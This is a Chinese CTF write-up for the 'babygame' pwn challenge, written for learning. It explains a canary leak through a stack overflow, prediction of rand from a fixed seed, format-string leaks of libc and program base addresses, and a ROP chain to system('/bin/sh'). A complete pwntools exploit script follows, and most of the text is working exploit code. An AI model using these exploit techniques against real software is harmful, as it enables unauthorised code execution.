菜鸡上去打了一下,果然爆零一轮游了。
学到了不少东西,比如这个babygame(也就这题我能做了)。
checksec一下发现防护全开,Canary,PIE都开了。扔进ida里,发现程序的流程还是很好分析的:先输入名字,然后猜拳,猜拳连胜100轮后就能跑到一个函数中(显然是要覆盖随机数种子),这个函数里有一个格式化字符串漏洞,可供利用。总的来说,它像一个缝合怪......
容易看到输入名字时有一个栈溢出漏洞,但是因为这题开了canary,所以需要通过溢出漏洞泄露canary以及下面连带的last_rbp,这样我们就得到了canary的值和栈上数据的地址。
r.recvuntil('Please input your name:')
pay1=256*'a'+8*'b'
r.sendline(pay1)
r.recvuntil(8*'b')
canary=u64(r.recv(8))-0xa
last_rbp=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
vuln_ret=last_rbp-(0xd80-0xb68) #这是通过偏移计算出vuln函数返回地址在栈上的位置,后面再讲
atoi_20=vuln_ret-0x70 #这个用于后面泄露libc基址
print('canary:',hex(canary))
print('last_rbp:',hex(last_rbp))
print('vuln_ret:',hex(vuln_ret))
在这一次溢出的过程中,我们覆盖了作为随机数种子的v5,让它变成了一个已知的定值,我们就可以在本地设置种子并执行rand,预测程序的出招并反制,从而赢得游戏。
这里可以用python的ctypes库中的CDLL,让exp能跑c的函数。
关于ctypes,可以参考大佬的博客:使用 ctypes 进行 Python 和 C 的混合编程 - Anonymous596 - 博客园 ,这里不再赘述。
libc=CDLL('/home/wjc/Desktop/libc-2.31.so')
libc.srand(0x6262626262626262)
for i in range(100):
r.recvuntil('round')
r.sendline(str((libc.rand()+1)%3))
然后就成功进入了格式化字符串漏洞所在的函数。先发送: 'AAAAAAAA'+0x20*".%p.",容易确定我们输入的数据前八个字符对应第六个格式字符。然后观察此时栈中的数据。
从上图知道我们可以一次泄露出libc基址和程序加载基址,可以构造rop链了,但是vuln结束之后main也随之结束,所以我们还需让程序再次执行main,但是main函数开头地址的最后一个半字节是0x465,而返回地址的是0x543,显然是无法一步回到main的,所以我们要退而求其次,再次调用call vuln,第二次调用时我们手握ELF的基址,就能控制程序回到main了。
vuln_ret和atoi_20在上面计算过了。
r.recvuntil('Good luck to you.')
r.sendline('%62c%9$hhn'+'X%10$s'+'EFG%11$s'+p64(vuln_ret)+p64(atoi_20)+p64(vuln_ret))
r.recvuntil('X')
atoi_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-20
libcbase=atoi_addr-0x445e0
r.recvuntil('EFG')
textbase=u64(r.recv(6).ljust(8,'\x00'))-0x153e
print('libcbase:',hex(libcbase))
print('textbase:',hex(textbase))
r.recvuntil('Good luck to you.')
main_addr=textbase+0x146A
low=main_addr&0xff
high=(main_addr>>8)&0xff
print('main_addr:',hex(main_addr))
print('low:',hex(low))
print('high:',hex(high))
if low>high:
print('low!!!')
pay2=('%'+str(high)+'c'+'%10$hhn'+'%'+str(low-high)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret+1)+p64(vuln_ret)
r.sendline(pay2)
if high>low:
print('high!!!')
pay2=('%'+str(low)+'c'+'%10$hhn'+'%'+str(high-low)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret)+p64(vuln_ret+1)
r.sendline(pay2)
这里需要注意两点。第一,在第一次vuln时,我为了防止输出泄露的数据对覆盖返回地址低位产生影响,选择先覆盖vuln的返回地址低位,所以计算程序加载基址时.应该减去的是call vuln的偏移0x153E。第二,第二次call vuln是紧接着第一次call vuln,两次vuln的buf,rbp和返回地址都是一样的,不需要再次计算。
然后成功返回了main,此时我们有了libc基址和程序加载基址,而栈溢出空间又比较充裕,我们几乎可以随心所欲构造rop链。但是到了最后还有一个小坑......
这里我们看一下main的栈帧
红框中是最初执行的main时的数据,最上面是canary,下一个是last_rbp,我们知道main是由libc_start_main函数调用的,会返回到libc_start_main中去,而libc_start_main居和last_rbp还有0x10个字节的空档! 所以我们在构造payload时,要注意多填充0x10个字节。
#0x000000000000101a : ret
ret_addr=textbase+0x101a
#0x00000000000015d3 : pop rdi ; ret
pop_rdi_ret=textbase+0x15d3
system_addr=libcbase+0x522C0
puts_addr=libcbase+0x84450
str_bin_sh=libcbase+0x1B45BD
rop_chain=p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload=256*'A'+8*'b'+p64(canary)+0x18*'b'+rop_chain
r.recvuntil('Please input your name:')
r.sendline(payload)
libc.srand(0x6262626262626262)
r.recvuntil('round')
r.sendline(str((libc.rand()-1)%3)
这次猜拳游戏输掉就行了,输掉只是不执行vuln,程序还会进行的。
拿到shell:
很遗憾我没能在赛场上解出这道题,所以我只能打本地,不知道远程能不能打通,但我想问题应该不大。
EXP:
from pwn import *
from ctypes import cdll,CDLL
#context.log_level='debug'
r=process('/home/wjc/Desktop/babygame')
e=ELF('/home/wjc/Desktop/babygame')
libc=CDLL('/home/wjc/Desktop/libc-2.31.so')
r.recvuntil('Please input your name:')
pay1=256*'a'+8*'b'
r.sendline(pay1)
r.recvuntil(8*'b')
canary=u64(r.recv(8))-0xa
last_rbp=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
vuln_ret=last_rbp-(0xd80-0xb68)
atoi_20=vuln_ret-0x70
print('canary:',hex(canary))
print('last_rbp:',hex(last_rbp))
print('vuln_ret:',hex(vuln_ret))
libc.srand(0x6262626262626262)
for i in range(100):
r.recvuntil('round')
r.sendline(str((libc.rand()+1)%3))
r.recvuntil('Good luck to you.')
r.sendline('%62c%9$hhn'+'X%10$s'+'EFG%11$s'+p64(vuln_ret)+p64(atoi_20)+p64(vuln_ret))
r.recvuntil('X')
atoi_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-20
libcbase=atoi_addr-0x445e0
r.recvuntil('EFG')
textbase=u64(r.recv(6).ljust(8,'\x00'))-0x153e
print('libcbase:',hex(libcbase))
print('textbase:',hex(textbase))
r.recvuntil('Good luck to you.')
main_addr=textbase+0x146A
low=main_addr&0xff
high=(main_addr>>8)&0xff
print('main_addr:',hex(main_addr))
print('low:',hex(low))
print('high:',hex(high))
if low>high:
print('low!!!')
pay2=('%'+str(high)+'c'+'%10$hhn'+'%'+str(low-high)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret+1)+p64(vuln_ret)
r.sendline(pay2)
if high>low:
print('high!!!')
pay2=('%'+str(low)+'c'+'%10$hhn'+'%'+str(high-low)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret)+p64(vuln_ret+1)
r.sendline(pay2)
#0x000000000000101a : ret
ret_addr=textbase+0x101a
#0x00000000000015d3 : pop rdi ; ret
pop_rdi_ret=textbase+0x15d3
system_addr=libcbase+0x522C0
puts_addr=libcbase+0x84450
str_bin_sh=libcbase+0x1B45BD
rop_chain=p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload=256*'A'+8*'b'+p64(canary)+0x18*'b'+rop_chain
r.recvuntil('Please input your name:')
r.sendline(payload)
libc.srand(0x6262626262626262)
r.recvuntil('round')
r.sendline(str((libc.rand()-1)%3))
sleep(0.5)
r.sendline('cd ..;cd ..;cd ..;cd ..')
#因为远程关了,我只能打本地,这个是为了方便退到根目录下拿我本地的flag的省事做法。
r.interactive()